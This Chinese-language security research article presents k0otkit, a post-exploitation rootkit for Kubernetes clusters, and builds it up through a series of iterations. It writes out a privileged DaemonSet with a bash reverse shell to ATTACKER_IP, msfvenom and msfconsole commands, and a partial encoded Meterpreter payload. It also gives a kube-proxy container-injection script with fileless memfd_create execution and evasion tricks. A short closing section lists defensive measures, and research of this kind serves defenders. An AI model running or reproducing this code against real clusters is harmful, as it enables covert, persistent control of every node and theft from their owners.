k0otkit:Hack K8s in a K8s Way

簡介

本文涉及到的技術僅供教學、研究使用,禁止用於非法用途。

2020年的倒數第二天,我們在CIS網絡安全創新大會上跟大家分享了一種針對Kubernetes集羣的通用後滲透控制技術(簡稱k0otkit[1]),利用Kubernetes自身特性、動態容器注入、無文件攻擊等技術,在容器逃逸後實現對集羣所有節點(無論集羣規模大小)的快速、隱蔽、持續控制,同時還介紹了針對這種技術的防禦和檢測方法。

k0otkit的名稱來自Kubernetes和rootkit。從該名稱不難看出,我們希望k0otkit成爲“Kubernetes集羣內的rootkit”。k0otkit的新穎點在於:

  • “快速、隱蔽、持續”實現對Kubernetes集羣所有節點的控制。

  • 因地制宜:利用多個Kubernetes自身特性(DaemonSet、Secret資源,kube-proxy鏡像等)。

  • 應用動態容器注入技術,極大提高隱蔽性。

  • 應用無文件攻擊技術,從內存發起攻擊,全程不落地。

  • 無限制條件,幾乎適用於所有Kubernetes集羣。

優秀的矛才能激發出優秀的盾,安全正是在一輪輪的攻防對抗中不斷得到強化。本文將對k0otkit進行詳細介紹,引導大家發掘雲原生攻防的更多可能。

本文首先向大家介紹Kubernetes環境下的一般滲透過程,然後從k0otkit最初的基本思路開始,依次介紹基本功能和爲實現更強隱蔽性和可用性的多次迭代,最後從攻擊者和防守者兩個不同的角度作總結。

Kubernetes環境下的一般滲透過程

Kubernetes,簡稱爲K8s,是一個開源的容器化應用自動部署、伸縮和管理平臺,已經成爲容器編排的事實標準。

一個Kubernetes集羣包含若干臺服務器。其中,用於運行容器化應用的服務器被稱爲工作節點(worker node);用於運行控制平面(control plane)組件的服務器被稱爲控制節點或主節點(master node)。在計算資源充足的情況下,工作節點和控制節點並不重合,控制平面組件只運行在控制節點上,業務容器運行在工作節點上,以滿足高可用的需求;然而,爲了達到充分利用服務器資源的目的(或單節點集羣的情況),有時也會允許控制節點上運行業務容器。

在針對傳統主機環境的滲透測試中,我們通常以Web服務爲突破口,成功獲得Webshell後,還可能會進行權限提升和橫向移動,最後,可能會對目標實施權限維持。如果目標位於域內,我們通常會嘗試拿下域控制器,從而實現事半功倍的效果。Kubernetes集羣與域環境在一定程度上具有相似性。

我們曾在《針對容器的滲透測試方法》一文中介紹了針對容器的一些滲透測試思路和方法。結合一般的滲透過程,我們還可以梳理出一個針對Kubernetes的滲透測試流程:

同樣,滲透測試以Web服務爲突破口;拿到shell後執行命令來查看自己當前的權限,如果當前用戶權限較低,可能需要考慮進行本地提權;在這個過程中可能會發現目標環境與傳統主機環境存在差異,進而探明目標是一個容器,甚至位於Kubernetes內;爲了擴大戰果,會考慮進行容器逃逸;逃逸成功後,如果確定目標是一個Kubernetes集羣,還可能會考慮對集羣中每個節點實施控制;最後,將訪問通道和權限隱蔽持久化。

然而,如果順利進入到後滲透階段,滲透測試人員很可能會遇到下面這樣的場景:

什麼意思呢?在真實場景中,一個Kubernetes集羣可能由幾個、幾十個甚至更多節點組成。爲了實現“控制整個集羣每個節點”這一目標,難道要對所有這些節點一一進行滲透嗎?前面我們說Kubernetes集羣與域環境類似,那麼在Kubernetes中能否通過類似“拿下域控制器”的方式一舉完成對整個集羣的控制呢?

這當然是可以的。前文提到,Kubernetes控制平面組件通常運行在控制節點上;另外,對容器逃逸的研究告訴我們,容器逃逸後通常能夠獲得容器所在宿主機上的root權限。將這兩點結合起來我們會發現,如果前期進行Web滲透的目標容器位於控制節點上,且成功從容器中逃逸,那麼我們實際上能夠憑藉控制節點上的Kubernetes管理員憑證(kubeconfig)與Kubernetes API Server進行交互(甚至可以直接使用控制節點上的kubectl命令行工具)。

在這個場景中,我們是能夠通過自動化的方式完成對整個集羣所有節點的持續控制的。具體如何來做呢?這便是本文的主角——k0otkit的任務了。此時的滲透路線如下圖所示:

接下來,我們就一起來看看k0otkit是如何完成對集羣的“快速、隱蔽、持續”控制的。感興趣的讀者可以從Github上獲得一份源碼,跟着我們後面的思路,一起來研究。倉庫地址:https://github.com/brant-ruan/k0otkit

基本思路

“因地制宜”才能卓有成效,而且往往事半功倍。因此,既然已經取得了Kubernetes集羣的管理員憑證,我們自然希望能夠藉助Kubernetes本身的諸多特性去控制集羣。畢竟,Kubernetes基於Google 15年的生產經驗發展而來,同時結合了來自社區的思考和實踐,如果能夠爲滲透測試者所用,其效果一定很棒。

接觸過Kubernetes的朋友們應該知道,Kubernetes內有一種叫做DaemonSet的資源,它能夠確保全部(或者某些)節點上運行一個Pod的副本。當有節點加入集羣時,也會爲它們新增一個Pod;當有節點從集羣移除時,這些Pod也會被回收。

DaemonSet對於滲透測試者很有價值,因爲:

  • 它能夠確保所有節點(包括新增節點)上都運行一個Pod。

  • 如果有Pod退出,DaemonSet將在對應節點上自動重建一個Pod。

那麼,如果把DaemonSet和反彈shell結合起來呢?如果利用管理員憑證在目標集羣內創建一個內容爲反彈shell的DaemonSet,我們就能夠實現集羣所有節點自動化反彈shell了。

基本功能實現

明確了基本思路——把DaemonSet和反彈shell結合起來,怎麼結合呢?很簡單,將DaemonSet創建的Pod的啓動命令設置爲反彈shell即可。

然而,僅僅有一個反彈shell是不夠的,反彈回來的還是Pod容器內的shell,我們無法藉助這個shell控制容器所在節點。回憶一下容器的基本概念——它是一種輕量級的虛擬化技術,實質是對進程從多個維度上進行隔離。那麼,只要除去這些隔離,容器內進程就和宿主機上的進程沒有太多差別了。具體來說,我們希望:

  • 容器是特權的(相當於docker run的時候帶了--privileged選項)。

  • 容器與宿主機共享網絡和PID命名空間(打破命名空間隔離)。

  • 容器內掛載宿主機根目錄(打破文件系統隔離)。

將以上思路實現爲YAML資源聲明文件,內容如下:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: attacker
spec:
  selector:
    matchLabels:
      app: attacker
  template:
    metadata:
      labels:
        app: attacker
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: main
        image: bash
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        # reverse shell
        args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

利用容器逃逸後的shell在目標控制節點上將上述內容保存爲k0otkiit.yaml並執行:

kubectl apply -f k0otkit.yaml

至此,我們完成了DaemonSet資源的創建,集羣內每個節點將有一個惡意Pod出現,並向我們的攻擊者機器反彈shell。利用這些shell,我們能夠實現對任意節點的控制。

迭代一:刪除敏感詞

前面的基礎版本能夠實現預期功能——對集羣中任意節點的快速控制,但是存在很多問題。首先,它太容易暴露了,管理員只需要執行一個簡單的查看操作,就會發現異常資源:

kubectl get pods

接下來,我們將進行一系列的優化迭代,以提高k0otkit的隱蔽性和可用性。

首先,我們考慮將DaemonSet資源創建在kube-system系統命名空間下。這樣一來,管理員執行前述命令將無法看到異常資源。在運行良好的Kubernetes集羣內,查看kube-system命名空間資源狀態的需求也是很少的,這就提高了隱蔽性:

metadata:
  name: attacker
  namespace: kube-system
  # ......

另外,我們也考慮將所有敏感詞——如DaemonSet的名稱和標籤——替換爲不那麼容易引起懷疑的名詞,例如kube-cache、kube-metrics等,將前面YAML文件中的所有敏感詞都用看起來正常的名詞替換。

至此,k0otkit的隱蔽性得到一些提升。

迭代二:替換Shell爲Meterpreter

目前爲止,我們採用的是基於Bash的TCP協議反彈shell:

bash -i >&/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1

很明顯,反彈shell是明文的,可以被網絡入侵檢測系統輕易檢測到,從而觸發告警。因此,我們考慮將反彈shell流量加密。

如何做呢?當然可以自己編寫加密的反彈shell程序,也可以使用現成的。這裏我們使用Metasploit項目中的Meterpreter[2]替換原來的Bash反彈shell,因爲Meterpreter的流量是加密的。使用Meterpreter還有一個好處——我們能夠使用msfconsole作爲反彈shell的監聽端,可以通過配置選項實現持續監聽功能。這樣一來,一旦由於操作不當等原因不小心退出了一個反彈shell,對應Pod將運行結束,DaemonSet監測到Pod退出,將自動在相同節點上重建一個新Pod,我們就能夠在msfconsole中重新收穫一個反彈shell,可用性大大提高。

具體來說,我們首先用msfvenom生成一個反彈shell二進制文件mrt:

msfvenom -plinux/x86/meterpreter/reverse_tcp LPORT=$ATTACKER_PORT LHOST=$ATTACKER_IP -felf -o mrt

然後以該二進制文件mrt爲啓動命令,構建一個容器鏡像maliciousimage,確保目標集羣中每一個節點都能夠訪問該鏡像倉庫URL,然後在“迭代一”基礎上對DaemonSet資源的YAML文件稍作修改,使用maliciousimage鏡像作爲Pod內容器的創建模板,並設置啓動命令爲/mrt。

接着,在反彈shell監聽機器上啓動msfconsole開啓監聽,其中set ExisOnSession實現持續監聽功能:

msfconsole -x "use exploit/multi/handler; set payload linux/x86/meterpreter/reverse_tcp;set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; run -jz"

最後,與前面一致,在目標控制節點上kubectl apply創建DaemonSet資源。

至此,我們成功使用Meterpreter替換了Bash反彈shell,實現了流量加密和自動重連功能。

迭代三:無文件化

在前面一系列的優化過程中,大家可能會發現兩個問題:

  • 需要在目標控制節點上先創建一個本地YAML文件。

  • 需要以二進制程序mrt爲啓動命令構建容器鏡像。

爲什麼說是問題呢?在本地創建YAML文件可能會引起文件監控系統的告警;圍繞二進制Meterpreter構建鏡像則要麼動靜太大(在目標機器上直接構建),或者需要拉取外部惡意鏡像(先構建好上傳到公開倉庫),容易觸發鏡像檢查系統(如果有的話)的告警。

針對第一個問題,我們可以採用Linux命令行管道的方式解決。kubectl支持使用-f選項從標準輸入讀取文件,再結合經典的cat/EOF小技巧,我們得到以下命令模式:

cat << EOF| kubectl apply -f -
# {YAML文件內容}
EOF

我們只需要將原來DaemonSet的YAML文件填充在{YAML文件內容}處,然後將以上cat開頭EOF結尾的所有內容複製到目標控制節點上執行,就能夠實現DaemonSet資源的創建,不必先在目標控制節點上創建YAML文件。

針對第二個問題,不去構建新鏡像,我們的思路是將二進制Meterpreter編碼爲可見字符串,以環境變量的形式放在DaemonSet的YAML文件中。容器運行起來後,從環境變量中讀取字符串並解碼保存爲二進制文件,然後再執行即可。

這就涉及到各種常見Linux命令行工具的配合使用了。首先是將msfvenom生成的Meterpreter進行編碼:

TEMP_MRT=mrt
msfvenom -p linux/x86/meterpreter/reverse_tcpLPORT=$ATTACKER_PORT LHOST=$ATTACKER_IP -f elf -o $TEMP_MRT &> /dev/null
PAYLOAD=$(hexdump -v -e '16/1 "_xX""\n"' $TEMP_MRT | sed 's/_/\\/g; s/\\x  //g' | tr -d '\n' | base64 -w 0)

這樣一來,Meterpreter就被編碼爲一個長字符串。然後將上面PAYLOAD變量的內容填充在DaemonSet YAML中的{PAYLOAD_VALUE}部分即可:

# ......
      containers:
      - name: main
        image: bash
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "echo -ne $(echo $PAYLOAD | base64 -d) > mrt; chmod u+x mrt; ./mrt"]
        env:
        - name: PAYLOAD
          value: "{PAYLOAD_VALUE}"
# .....

容器運行後,Meterpreter將會被解碼並保存爲容器內/mrt文件,然後被執行。

至此,兩個問題解決,k0otkit的隱蔽性得到進一步的提高。

迭代四:分離Payload

在“迭代三”部分,我們確實成功完成了Meterpreter的編碼和解碼過程,但是也引入了新的問題:Meterpreter編碼後的字符串過長,放在DaemonSet的YAML內很容易被當作異常。例如,下面是筆者實驗環境編碼後的Meterpreter字符串:

XHg3Rlx4NDVceDRDXHg0Nlx4MDFceDAxXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDJceDAwXHgwM1x4MDBceDAxXHgwMFx4MDBceDAwXHg1NFx4ODBceDA0XHgwOFx4MzRceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MzRceDAwXHgyMFx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ODBceDA0XHgwOFx4MDBceDgwXHgwNFx4MDhceENGXHgwMFx4MDBceDAwXHg0QVx4MDFceDAwXHgwMFx4MDdceDAwXHgwMFx4MDBceDAwXHgxMFx4MDBceDAwXHg2QVx4MEFceDVFXHgzMVx4REJceEY3XHhFM1x4NTNceDQzXHg1M1x4NkFceDAyXHhCMFx4NjZceDg5XHhFMVx4Q0RceDgwXHg5N1x4NUJceDY4XHhDMFx4QThceDEzXHhGM1x4NjhceDAyXHgwMFx4MTFceDVDXHg4OVx4RTFceDZBXHg2Nlx4NThceDUwXHg1MVx4NTdceDg5XHhFMVx4NDNceENEXHg4MFx4ODVceEMwXHg3OVx4MTlceDRFXHg3NFx4M0RceDY4XHhBMlx4MDBceDAwXHgwMFx4NThceDZBXHgwMFx4NkFceDA1XHg4OVx4RTNceDMxXHhDOVx4Q0RceDgwXHg4NVx4QzBceDc5XHhCRFx4RUJceDI3XHhCMlx4MDdceEI5XHgwMFx4MTBceDAwXHgwMFx4ODlceEUzXHhDMVx4RUJceDBDXHhDMVx4RTNceDBDXHhCMFx4N0RceENEXHg4MFx4ODVceEMwXHg3OFx4MTBceDVCXHg4OVx4RTFceDk5XHhCMlx4NkFceEIwXHgwM1x4Q0RceDgwXHg4NVx4QzBceDc4XHgwMlx4RkZceEUxXHhCOFx4MDFceDAwXHgwMFx4MDBceEJCXH

這麼長的字符串放在YAML內是不合適的。如何解決呢?前面說因地制宜,我們就“以其人之道,還治其人之身”。Kubernetes內有一類名爲Secret的資源,Service Account Token正是以Secret形式存在。Secret本身就用來存儲各種敏感信息,其內容通常是一個或多個很長的字符串,在容器內部引用時自動進行Base64解碼。

瞭解了這些,前面的問題也就有了解決方法。我們創建一個新的Secret資源,將編碼後的Meterpreter存放在其中,從DaemonSet的YAML中分離出去,這樣就降低了DaemonSet的異常性。創建方法也很簡單,將前面的編碼字符串填充到下面命令中的{PAYLOAD_VALUE_BASE64}處即可:

secret_name=proxy-cache
secret_data_name=content
cat << EOF | kubectl --kubeconfig/root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name:$secret_name
  namespace:kube-system
type: Opaque
data:
 $secret_data_name: {PAYLOAD_VALUE_BASE64}
EOF

另外,我們還需要修改DaemonSet的YAML,將上述Secret以環境變量形式加載到容器內部,與“迭代三”保持一致性。此過程較爲簡單,不再贅述。

迭代五:動態容器注入

事實上,前面所有的優化都沒有關注到一個問題:如果管理員真的去查看kube-system命名空間下的資源,k0otkit將直接暴露。如何能將k0otkit的DaemonSet隱藏起來呢?

在傳統主機攻防中,有一種技術叫做“進程注入”。這裏,我們提出一種動態容器注入技術,直接將惡意容器注入到集羣中已有的DaemonSet中,這樣就不必創建新的DaemonSet資源了。

這一技術實際需要回答三個問題:

  • 向哪裏注入?

  • 注入什麼?

  • 怎樣注入?

第一個問題關係到這種技術的普適性。我們希望能夠找到每個集羣中一定會存在的DaemonSet,這樣就不必考慮目標環境的具體情況了。符合“普遍存在”特徵的通常是系統組件,經過調研,我們發現kube-system命名空間下的kube-proxy DaemonSet是一個非常好的注入對象。

第二個問題比較好回答。對於我們來說,k0otkit最小的執行單位是容器。因此,我們希望能夠將k0otkit容器注入到kube-proxy DaemonSet定義的Pod中。

現在只剩下第三個問題。在Kubernetes內,一切資源都是被“聲明”出來的。那麼,我們可以通過修改已運行的kube-proxy DaemonSet的YAML聲明文件來實現容器注入。

簡單來說,爲了實現容器注入,我們需要完成三個步驟:

一、獲取kube-proxy DaemonSet的YAML內容,對應操作如下:

kubectl get daemonset kube-proxy -n kube-system -o yaml

二、動態修改上述YAML內Pod的定義部分,在spec.template.spec.containers內加入k0otkit反彈shell惡意容器的聲明語句。本步驟較爲複雜,主要思路是先根據關鍵詞在YAML內查找到插入點的行號,然後利用sed工具將“迭代四”最後的DaemonSet YAML中spec.template.spec.containers和spec.template.spec.volumes部分插入到指定行後。具體流程可參考k0otkit的源代碼。

三、用修改後的YAML替代系統內現運行的kube-proxy DaemonSet,對應操作如下:

| kubectl replace -f -

完成動態容器注入後,無論是查看DaemonSet資源:

還是查看Pod資源:

都看不到惡意容器了。它實際上就在上圖中kube-proxy-vtttf pod內,從READY的容器數還是可以看出差異的,但是這一點差異是很難被發現的。

至此,k0otkit的隱蔽性得到極大提升。

迭代六:解決鏡像依賴

在功能不受損的情況下,k0otkit的隱蔽性和可用性已經得到許多提高。然而,我們還沒有考慮一個重要問題:鏡像。前面的所有過程中,我們使用的都是bash鏡像,但真實環境是複雜多樣的:

  • 如果目標環境沒有bash鏡像呢?

  • 如果目標環境不允許從外部拉取鏡像呢?

  • 如果目標環境有鏡像黑白名單呢?

  • 如果目標環境對鏡像拉取操作和流量有所監控呢?

  • ......

所以,還是因地制宜。我們希望能夠找到任何集羣中必定存在的鏡像,利用它。在“迭代五”中,我們已經發現集羣中一定存在kube-proxy DaemonSet,那麼理論上來說,集羣中每個節點上都應該存在kube-proxy依賴的鏡像,事實也正是如此。

好了,目標確定,但我們怎麼利用kube-proxy鏡像呢?經過探索,我們發現kube-proxy鏡像內有echo和perl,後者是一個編程語言解釋器,可以做的事情太多了。

例如,我們可以使用以下命令作爲容器的啓動命令,完成對Meterpreter的解碼和執行:

echo $payload | perl -e 'print pack "H*", <STDIN>' > $binary_file; chmod u+x $binary_file; $binary_file

至此,k0otkit不必依賴任何外部鏡像了,隱蔽性和可用性提高。

迭代七:無文件攻擊

回過頭來看,k0otkit漸漸從基礎走向成熟。然而,我們還希望它更優秀一些。可以發現,從k0otkit開始執行到Meterpreter解碼,整個過程是沒有文件落地的,可以繞過可能存在的文件系統監控。然而,最後“將解碼後的Meterpreter保存在容器內再執行”這個操作卻導致前面的一切功虧一簣。能否將這一步也變成無文件攻擊,從而實現全程無文件化呢?

答案是可以的。

最近無文件攻擊技術(fileless attack)比較火,但是它本身並不是什麼深奧的概念。Linux平臺上一種典型的無文件攻擊手段是使用memfd_create系統調用創建一個“內存文件”,然後向該文件中填充二進制文件內容,最後執行這個內存文件。聽起來很簡單,但是結合實際,我們還要考慮兩個問題:

  • 容器內是否允許調用memfd_create?

  • 如果允許,怎麼調用memfd_create?

“迭代六”中提到,kube-proxy鏡像中提供了perl,我們可以使用它來發起系統調用,第二個問題解決。至於第一個問題,Docker以白名單的形式規定了默認情況下容器內可以執行的系統調用,memfd_create恰在其中。

理論上可行,我們來具體實現一下,將Meterpreter的解碼和執行過程改寫如下:

echo $payload | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd);select((select(($FH), $|=1)[0]); print $FH pack q/H*/,  <STDIN>; my $pid = fork(); if (0 !=$pid) {wait}; if (0 == $pid){system(qq(/proc/$$/fd/$fd))}'

至此,k0otkit的整個執行過程實現了無文件化。此時k0otkit的核心代碼如下:

# 名稱定義
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
# 獲取各插入點行號
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# 創建Meterpreter secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: PAYLOAD_VALUE_BASE64
EOF
# 動態容器注入
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  | kubectl replace -f -

經測試,k0otkit能夠實現對Kubernetes集羣的快速、隱蔽、持續控制。測試樣例見GitHub倉庫[3]。

總結

攻擊者角度

從攻擊者的角度來看,k0otkit利用了多種技術和天然優勢:

  • DaemonSet和Secret資源(快速持續反彈、資源分離)

  • kube-proxy鏡像(就地取材)

  • 動態容器注入(高隱蔽性)

  • Meterpreter(流量加密、持續反彈)

  • 無文件攻擊(高隱蔽性)

防守者角度

從防守者的角度來看,如何防禦和檢測k0otkit呢?我們認爲主要有以下幾點:

  • 設置Pod安全策略,禁止容器內root權限

  • 設置Pod安全策略,限制容器內capabilities和系統調用能力

  • 實時監控kube-system命名空間資源,避免燈下黑

  • 實時檢測容器內進程異常行爲,及時告警+處置異常容器

  • 針對無文件攻擊的特徵(如memfd_create)進行檢測

  • 實時檢測容器異常流量,及時阻斷

  • 一旦發現,及時刪除k0otkit,修復入侵路徑所涉漏洞,做好安全更新

相關鏈接:

  1. https://github.com/brant-ruan/k0otkit

  2. https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

  3. https://github.com/brant-ruan/k0otkit#example

文章來源:綠盟科技研究通訊,點擊查看原文

Kubernetes管理員認證(CKA)培訓

本次CKA培訓在上海開班,基於最新考綱,通過線下授課、考題解讀、模擬演練等方式,幫助學員快速掌握Kubernetes的理論知識和專業技能,並針對考試做特別強化訓練,讓學員能從容面對CKA認證考試,使學員既能掌握Kubernetes相關知識,又能通過CKA認證考試,學員可多次參加培訓,直到通過認證。點擊下方圖片或者閱讀原文鏈接查看詳情。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章